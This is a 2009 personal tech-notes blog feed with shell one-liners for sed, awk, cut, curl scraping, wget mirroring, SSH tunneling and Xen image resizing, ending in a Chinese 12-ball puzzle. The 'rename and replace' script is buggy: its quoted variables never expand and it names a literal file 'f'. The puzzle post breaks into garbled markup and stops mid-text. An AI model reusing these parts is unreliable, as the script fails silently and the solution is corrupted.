file1="${file%.html}.txt"&lt;br /&gt;#       echo $file1&lt;br /&gt;#       manu=$(grep "Manufacturer:" $newfile| cut -d":" -s -f 2)&lt;br /&gt;#       date=$(grep "ReportDate:"  $newfile| cut -b 19-32)&lt;br /&gt;#       date=$(grep "ReportDate:"  $newfile| cut -b 19-32)&lt;br /&gt;#       comp=$(grep "Component:" $newfile|sed 's/Component:/\t/g' |)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-4398974575011443923?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/4398974575011443923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/11/grepcutperl-usage-examples.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4398974575011443923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4398974575011443923'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/11/grepcutperl-usage-examples.html' title='grep/cut/perl usage examples'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-4249507204672611792</id><published>2009-11-05T12:32:00.000-08:00</published><updated>2009-11-15T19:27:11.393-08:00</updated><title type='text'>awk vs sed</title><content type='html'>"Doing even seemingly simple thing in sed can quickly result in large, &lt;br /&gt;difficult expressions, making most usage of sed hard to understand. sed &lt;br /&gt;works well for simple cases of string filtering, but awk can often be a &lt;br /&gt;more maintainable choice."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.osnews.com/story/21004/Awk_and_Sed_One-Liners_Explained&lt;br /&gt;seq 19 | tr '\n' , &lt;br /&gt;tr translate \n with ,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://reallylongword.org/sedawk/&lt;br /&gt;"&amp;" stands for the matched part of the text&lt;br /&gt;&lt;br /&gt;sed 's!.*/!!'&lt;br /&gt;&lt;br /&gt;[jwang@osnet1 bin ]$ echo  "/users/abc/bla1.exe" |sed 's!.*/!!'&lt;br /&gt;&lt;br /&gt;bla1.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remove MSDOS carriage return characters  of each line.&lt;br /&gt;sed 's/\r$//'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;while read line&lt;br /&gt;do&lt;br /&gt;#   path=${line%%/*}  &lt;br /&gt;   path=${line%/*} &lt;br /&gt;   echo $path&lt;br /&gt;done &lt; $1 &gt; outfile&lt;br /&gt;&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#newusers/defgh/ik/albg2.exe&lt;br /&gt;#-&gt;&lt;br /&gt;#newusers/defgh/ik&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#if %%  result is :&lt;br /&gt;#newusers&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-4249507204672611792?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/4249507204672611792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/11/awk-vs-sed.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4249507204672611792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4249507204672611792'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/11/awk-vs-sed.html' title='awk vs sed'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-4536441586568817247</id><published>2009-11-03T11:50:00.000-08:00</published><updated>2009-11-03T12:59:33.248-08:00</updated><title type='text'>linux npviewer problem</title><content type='html'>64-bit Firefox npwrapper (npviewer) plugin allows the 32-bit version &lt;br /&gt;of Flash Player run in 64-bit Firefox. But it lock up all the time and&lt;br /&gt; eating CPU cycles all the time.&lt;br /&gt;&lt;br /&gt;How to kill npviewer process:&lt;br /&gt;for name in $(ps ux | awk '/npviewer.bin/ &amp;&amp; !/awk/ {print $2}'); do kill "$name"; done&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Install firefox plugin: noscript or flashblock will solve the problem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download 64 bit flashplayer here:&lt;br /&gt;sudo yum install flash-plugin libflashsupport &lt;br /&gt;http://www.cyberciti.biz/tips/linux-install-flash-player-10.html&lt;br /&gt;wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz&lt;br /&gt;extract and copy libflashplayer.so to /usr/lib/mozilla/plugins/libflashplayer.so&lt;br /&gt;&lt;br /&gt;Notes:&lt;br /&gt;Seems the 64 bit player still not work right now for firefox &lt;br /&gt;http://labs.adobe.com/downloads/flashplayer10.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-4536441586568817247?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/4536441586568817247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/11/linux-npviewer-problem.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4536441586568817247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4536441586568817247'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/11/linux-npviewer-problem.html' title='linux npviewer problem'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-8542435314664900608</id><published>2009-10-30T13:47:00.000-07:00</published><updated>2009-12-17T11:17:59.948-08:00</updated><title type='text'>download search result from cgi/cfm form</title><content type='html'>get second column and sort and remove duplicate &lt;br /&gt;&lt;br /&gt;cat FLAT_RCL.txt | cut -f 2 | grep '^0[2-9][A-X]'  | sort|uniq  &gt; dest.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use command line browser tools to download file&lt;br /&gt;lynx -dump $url &gt; file.txt &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But Most importantly you can use curl tools.&lt;br /&gt;Suppose there is a search toolbar like the following, &lt;br /&gt;you want to download all the results from the&lt;br /&gt;query.&lt;br /&gt;&lt;br /&gt;&lt;form action="results.cfm" method="POST" onsubmit="return ValidateRecallQuick()" name="QuickSearch"&gt;&lt;br /&gt;&lt;label for="itemno" title="Enter NHTSA Campaign ID Number or select TYPE of search"&gt;&lt;span class="navBlue"&gt;NHTSA Campaign ID Number:&lt;br /&gt;(e.g. 01V166002)&lt;/span&gt;&lt;/label&gt;&lt;br /&gt;&lt;br /&gt;&lt;input id="itemno" type="Text" name="rcl_id" size="9" maxlength="12" class="textfield"&gt; &lt;br /&gt;&lt;input type="Submit" name="Search" value="Search" class="bttn" title="Search for recalls by NHTSA Campaign ID"&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type="hidden" name="SearchType" value="QuickSearch"&gt; &lt;br /&gt;&lt;input type="hidden" name="summary" value="true"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use &lt;br /&gt;curl -d "SearchType=QuickSearch&amp;rcl_id=$x&amp;summary=true&amp;Search=Search" http://www-odi.nhtsa.dot.gov/recalls/results.cfm &gt; $x.html&lt;br /&gt;&lt;br /&gt;The most important is the rcl_id you provided (as a parameter here).&lt;br /&gt;&lt;br /&gt;For more information about curl, refer to&lt;br /&gt;http://curl.haxx.se/docs/manual.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How to readline from file:&lt;br /&gt;&lt;pre&gt;N=0&lt;br /&gt;cat ./dest.txt |  while read LINE;&lt;br /&gt;do&lt;br /&gt;N=$((N+1))&lt;br /&gt;x=$LINE&lt;br /&gt;cd ~/fay&lt;br /&gt;curl -d "SearchType=QuickSearch&amp;rcl_id=$x&amp;summary=true&amp;Search=Search" http://www-odi.nhtsa.dot.gov/recalls/results.cfm &gt; &lt;br /&gt;$x.html&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-8542435314664900608?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/8542435314664900608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/10/bash-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8542435314664900608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8542435314664900608'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/10/bash-command.html' title='download search result from cgi/cfm form'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-909311715907696539</id><published>2009-10-21T08:37:00.000-07:00</published><updated>2009-10-21T11:11:04.953-07:00</updated><title type='text'>TCP forwarding/ssh tunneling</title><content type='html'>&lt;pre&gt;&lt;br /&gt;zz from kartik mail&lt;br /&gt;Here's a way to use ssh tunneling from outside department to avoid&lt;br /&gt;logging in twice to reach osnet1.&lt;br /&gt;&lt;br /&gt;Most of you should have an account on alpha.cs.binghamton.edu&lt;br /&gt;&lt;br /&gt;We can tunnel our ssh connection to&lt;br /&gt;osnet1.cs.binghamton.edu via alpha.cs.binghamton.edu&lt;br /&gt;as follows&lt;br /&gt;&lt;br /&gt;Assuming you are using UNIX there, first establish a tunnel&lt;br /&gt;to osnet1 as follows:&lt;br /&gt;&lt;br /&gt;$ ssh -f -L 2222:osnet1.cs.binghamton.edu:22 alpha.cs.binghamton.edu sleep 24h&lt;br /&gt;&lt;br /&gt;When it asks for password, type your password&lt;br /&gt;for alpha.cs.binghamton.edu.&lt;br /&gt;&lt;br /&gt;This tells ssh to forward your local port 2222 via&lt;br /&gt;alpha.cs.binghamton.edu to port 22 on&lt;br /&gt;osnet1.cs.binghamton.edu&lt;br /&gt;&lt;br /&gt;The -f places the above ssh command in background.&lt;br /&gt;The "sleep 24h" just executes the sleep command for&lt;br /&gt;a long time (24 hrs  -- you can increase it to whatever you want)&lt;br /&gt;&lt;br /&gt;Next, ssh to your local port 2222 as if you were doing an ssh to osnet1&lt;br /&gt;&lt;br /&gt;$ ssh -p 2222 localhost&lt;br /&gt;&lt;br /&gt;When it asks for password again, type your password for osnet1.&lt;br /&gt;&lt;br /&gt;If you want to transfer files between your local machine and osnet1 then&lt;br /&gt;&lt;br /&gt;$ scp -P 2222 &lt;filename&gt; localhost:&lt;br /&gt;&lt;br /&gt;(note the capital P) .... and so on.&lt;br /&gt;&lt;br /&gt;This should log you into osnet1. From osnet1 you can ssh to any&lt;br /&gt;other machine in the lab.&lt;br /&gt;&lt;br /&gt;If you set up you ssh keys properly on both alpha.cs and osnet1.cs&lt;br /&gt;then you don't even have to type your password each time. Just place&lt;br /&gt;the above two commands in a script and it'll seamlessly log you in.&lt;br /&gt;(I can guide you through this if you don't know how).&lt;br /&gt;&lt;br /&gt;Here's some more explanation of TCP forwarding using SSH&lt;br /&gt;&lt;br /&gt;http://www.gsp.com/cgi-bin/man.cgi?section=1&amp;topic=ssh#5&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-909311715907696539?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/909311715907696539/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/10/tcp-forwardingssh-tunneling.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/909311715907696539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/909311715907696539'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/10/tcp-forwardingssh-tunneling.html' title='TCP forwarding/ssh tunneling'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-6939356878856421734</id><published>2009-10-01T08:57:00.000-07:00</published><updated>2009-10-06T12:33:03.533-07:00</updated><title type='text'>rename and replace</title><content type='html'>Replace parm1 with parm2 within each file in the directory&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/env bash&lt;br /&gt;FILE_LIST="`ls *.html`" &lt;br /&gt;echo FILE_LIST: ${FILE_LIST}&lt;br /&gt;&lt;br /&gt;for f in ${FILE_LIST}&lt;br /&gt;do&lt;br /&gt;        sed 's/$1/$2/g' f&gt; TMPFILE &amp;&amp; &lt;br /&gt;                    mv TMPFILE f&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;echo "replace Script done"&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Cut usage:&lt;br /&gt;http://www.thelinuxblog.com/using-cut-shellscript-string-manipulation/&lt;br /&gt;&lt;br /&gt;bingsun2% echo "daemon:x:1:1:daemon:/usr/sbin:/bin/sh" | cut -d: -f1,5&lt;br /&gt;daemon:daemon&lt;br /&gt;&lt;br /&gt;//To batch rename jan09 to 09jan&lt;br /&gt;//`` is to force sh to execute as command&lt;br /&gt;for i in $(ls ~/fay)&lt;br /&gt;do&lt;br /&gt;    a=`echo $i | cut -c1-3`&lt;br /&gt;    b=`echo $i | cut -c4-5`&lt;br /&gt;    mv  $i $b$a&lt;br /&gt;done&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-6939356878856421734?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/6939356878856421734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/10/rename-and-replace.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6939356878856421734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6939356878856421734'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/10/rename-and-replace.html' title='rename and replace'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-3378769585796796131</id><published>2009-09-30T11:29:00.001-07:00</published><updated>2009-09-30T11:29:40.180-07:00</updated><title type='text'>resize hvm guest</title><content type='html'>$ dd if=/dev/zero of=new_image bs=1 count=new_size_of_ext3_in_bytes&lt;br /&gt;$ dd if=old_image of=new_image conv=notrunc #copy the old image bytes to&lt;br /&gt;the new image (without overwritting the new file)&lt;br /&gt;$ losetup -o 32256 /dev/loop0 new_image  # /root doesn't actually live&lt;br /&gt;at front of image for HVM&lt;br /&gt;$ fsck -f /dev/loop0 #check the new image for errors&lt;br /&gt;$ echo "new_image_bytes /  8225280" | bc # this is number of cylinders&lt;br /&gt;in new device&lt;br /&gt;$ fdisk new_image&lt;br /&gt;$ # go to the "extra" menu and type "c" and type the new number of cylinders&lt;br /&gt;$ # go back to main menu&lt;br /&gt;$ # delete primary partition (yes, delete it)&lt;br /&gt;$ # add new primary partition w/ defaults # resize partition to size of&lt;br /&gt;actual image file&lt;br /&gt;$ # 'w' write out fdisk and exit&lt;br /&gt;$ resize2fs /dev/loop0  20G   #resize ext3 to whatever GB you want MINUS&lt;br /&gt;a gigabyte ..... just to be on the safe side&lt;br /&gt;$ losetup -d /dev/loop0 # get rid of the loop device&lt;br /&gt;$ edit xen config and test new image (don't delete the old one!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-3378769585796796131?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/3378769585796796131/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/resize-hvm-guest.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3378769585796796131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3378769585796796131'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/resize-hvm-guest.html' title='resize hvm guest'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-7723799267960331761</id><published>2009-09-28T14:37:00.000-07:00</published><updated>2009-10-16T11:16:15.671-07:00</updated><title type='text'>wget example</title><content type='html'>The following script &lt;br /&gt;convert windows accept filenames&lt;br /&gt;convert links to local link&lt;br /&gt;convert cgi/jsp link to html file name&lt;br /&gt;recursive download 3 levels&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;wget  --restrict-file-names=windows -E -r  -p  -l 3  -k   -Ahtml -Ahtm -Ajpg -np&lt;br /&gt; -nv -nd -nH http://www.fda.gov/Safety/Recalls/ArchiveRecalls/2007/default.htm&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The following example want to download only html file from &lt;br /&gt;one website and put it all the files in one certain directory&lt;br /&gt;and convert link relationship to make it cross-referable.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/env bash&lt;br /&gt;&lt;br /&gt;MONTH=("jan" "feb" "mar" "apr" "may" "jun" "jul" "aug" "sep" "oct" "nov" "dec")&lt;br /&gt;YEAR=("00" "01" "02" "03" "04" "05" "06" "07" "08" "09" "90" "91" "92" "93" "94"&lt;br /&gt; "95" "96" "97" "98" "99")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for mon in ${MONTH[*]}&lt;br /&gt;do&lt;br /&gt;    for year in ${YEAR[*]}&lt;br /&gt;    do&lt;br /&gt;        x=$mon$year&lt;br /&gt; mkdir ~/fay/$x&lt;br /&gt;        cd ~/fay/&lt;br /&gt; wget  -p -r -l 2  -k -nc -Ahtml  -P$x  -np -nv -nd -nH  http://www.cpsc.&lt;br /&gt;gov/cpscpub/prerel/prerel$x.html&lt;br /&gt;    done&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;echo "Wj Script done"&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-7723799267960331761?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/7723799267960331761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/wget-example.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7723799267960331761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/7723799267960331761'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/wget-example.html' title='wget example'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5465558471741818796</id><published>2009-09-28T12:44:00.001-07:00</published><updated>2009-10-16T11:09:46.577-07:00</updated><title type='text'>wget useful options</title><content type='html'>&lt;pre&gt;&lt;br /&gt;#usefule options&lt;br /&gt;&lt;br /&gt;To download a single page and all its requisites (even if they exist&lt;br /&gt;on separate websites), and make sure the lot displays properly&lt;br /&gt;locally, this author likes to use a few options in addition to -p:&lt;br /&gt;&lt;br /&gt;        wget -E -H -k -K -p http://&lt;site&gt;/&lt;document&gt;&lt;br /&gt;&lt;br /&gt;-np     no parent&lt;br /&gt;-H&lt;br /&gt;       --span-hosts&lt;br /&gt;           Enable spanning across hosts when doing recursive retrieving.&lt;br /&gt;&lt;br /&gt;-A.c download .c file&lt;br /&gt;-E   add html extension to cgi/jsp script links&lt;br /&gt;-K&lt;br /&gt;       --backup-converted&lt;br /&gt;           When converting a file, back up the original version with a .orig&lt;br /&gt;           suffix.  Affects the behavior of -N.&lt;br /&gt;-k     &lt;br /&gt;       --convert-links   The same as the above, but convert the links in the HTML&lt;br /&gt;         files to point to local files, so you can view the&lt;br /&gt;         documents off-line:&lt;br /&gt;&lt;br /&gt;                 wget --convert-links -r http://www.gnu.org/ -o gnulog&lt;br /&gt;---restrict-file-names=mode&lt;br /&gt;           windows doesn't accept certain file names like &lt;&gt;?&lt;br /&gt;           it can replace with certain chars like ? to #&lt;br /&gt;&lt;br /&gt;-nc&lt;br /&gt;    --noclobber(no overwrite) &lt;br /&gt;           With -nc, download the same file will overwritten the old. &lt;br /&gt;           With -r -nc, download the same file will avoid overwriting, just use the original copy. &lt;br /&gt;           When running Wget without -N, -nc, -r, or p, downloading the same&lt;br /&gt;           file in the same directory will result in the original copy of file&lt;br /&gt;           being preserved and the second copy being named file.1.&lt;br /&gt; -F&lt;br /&gt;       --force-html&lt;br /&gt;           When input is read from a file, force it to be treated as an HTML&lt;br /&gt;           file.  This enables you to retrieve relative links from existing&lt;br /&gt;           HTML files on your local disk, by adding some url to&lt;br /&gt;           HTML, or using the --base command-line option.&lt;br /&gt;-p&lt;br /&gt;       --page-requisites&lt;br /&gt;           This option causes Wget to download all the files that are&lt;br /&gt;           necessary to properly display a given HTML page.  This includes&lt;br /&gt;           such things as inlined images, sounds, and referenced stylesheets.&lt;br /&gt;&lt;br /&gt; -q&lt;br /&gt;       --quiet&lt;br /&gt;           Turn off Wget’s output.&lt;br /&gt;&lt;br /&gt; -nv&lt;br /&gt;       --no-verbose&lt;br /&gt;           Turn off verbose without being completely quiet (use -q for that),&lt;br /&gt;           which means that error messages and basic information still get&lt;br /&gt;           printed.&lt;br /&gt;&lt;br /&gt;wget -r -p -l 2 -np -nc -q  http://www.cpsc.gov/cpscpub/prerel/prerel.html&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5465558471741818796?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5465558471741818796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2009/09/wget-useful-options.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5465558471741818796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5465558471741818796'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2009/09/wget-useful-options.html' title='wget useful options'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-9197450552265019988</id><published>2009-09-24T18:53:00.000-07:00</published><updated>2009-09-24T20:26:31.444-07:00</updated><title type='text'>12球称重问题</title><content type='html'>脑筋问题挺好玩的。&lt;br /&gt;&lt;div class="entrydetail"&gt;&lt;br /&gt;有12个乒乓球,其中有一个重量不一样,但不知是轻是重,&lt;br /&gt;请用天平称三次,把坏球找出来解法&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;/div&gt;A1A2A3A4&lt;br /&gt;B1B2B3B4&lt;br /&gt;C1C2C3C4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A1-4 vs B1-4&lt;div style="text-align: left;"&gt;&lt;ul&gt;&lt;li&gt;如果A=B&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;                       那坏球在C堆里&lt;/div&gt;&lt;div style="text-align: center;"&gt;         C12 vs A12，如果相等，坏球在C34里，C3 vs A1 ....&lt;br /&gt;                  如果不等，坏球在C12里，C1 vs A1  ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;ul&gt;&lt;li&gt;           如果A&lt;&lt;b(a&gt;B(A&gt;B同样处理，switch AB即可)&lt;/b(a&gt;&lt;/li&gt;&lt;/ul&gt;         A1B1C1 vs A2B2B3&lt;br /&gt;&lt;ol&gt;&lt;li&gt;         A1B1C1 = A2B2B3&lt;/li&gt;&lt;/ol&gt;       A3A4, B4,          A3B4 vs C1C2&lt;br /&gt;&lt;ul&gt;&lt;li&gt;                                                     A3B4 vs C1C2, &lt;/li&gt;&lt;li&gt;if 相等，==》A4轻&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;                                            if &lt;         ==》A3 轻&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&gt;            ==》B4重&lt;/li&gt;&lt;/ul&gt;  2. A1B1C1 &lt; A2B2B3&lt;br /&gt;不可能B1轻或者A2重，所以或者A1 轻，或者是B2B3重，&lt;br /&gt;&lt;ul&gt;&lt;li&gt;   A1B2 vs C1C2&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;3.A1B1C1 &gt; A2B2B3&lt;br /&gt;either B1 重或者A2轻，&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" a1b2=""&gt;B1 vs C1 ....&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" a1b2=""&gt;&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;br /&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" a1b2=""&gt;思路关键就是要记住第一步的轻重对解决问题有指导性作用。&lt;/b一致，所以不可能出现b1轻&gt;&lt;/b,(大于一样的，ab字母switch而已)&gt;&lt;br /&gt;&lt;b,(大于一样的，ab字母switch而已) a2b2b3="" a1b1c1="" a3a4="" b4="" vs="" c1c2="" if="" a3b4=""&gt;&lt;b一致，所以不可能出现b1轻 either="" a1="" light="" or="" b2b3="" heavy="" vs="" if="" 